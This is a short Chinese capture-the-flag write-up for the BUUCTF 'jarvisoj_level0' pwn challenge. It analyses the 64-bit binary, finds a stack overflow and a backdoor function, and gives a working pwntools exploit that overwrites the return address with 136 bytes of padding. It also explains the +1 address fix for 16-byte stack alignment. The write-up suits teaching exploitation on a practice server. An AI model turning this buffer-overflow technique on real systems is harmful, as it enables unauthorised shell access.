BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
Chengbei116 小时前
一站式源码安全检测工具、云安全 / APP / 小程序源码敏感信息递归多层目录扫描AK、JWT、手机号、身份证等敏感信息
java·开发语言·安全·web安全·网络安全·系统安全·安全架构
沄媪9 小时前
CSRF 跨站请求伪造
前端·ctf·csrf
谪星·阿凯15 小时前
后渗透痕迹清理实战指南
网络安全·后渗透清理
大方子15 小时前
【好靶场】他被什么加固了2?
网络安全·好靶场
大方子18 小时前
【好靶场】他被什么加固了1?
网络安全·好靶场
沄媪19 小时前
XSS 跨站脚本攻击
前端·ctf·xss
沄媪19 小时前
反序列化漏洞
ctf·反序列化
大方子19 小时前
【PolarCTF】upload1
网络安全·polarctf
大方子20 小时前
【PolarCTF】rapyiquan
网络安全·polarctf
锐速网络20 小时前
SaaS云防护:DDoS/CC/爬虫一站式解决方案
网络安全·云waf·ddos防护·企业网站防护·saas云防护·cc攻击防护·恶意爬虫拦截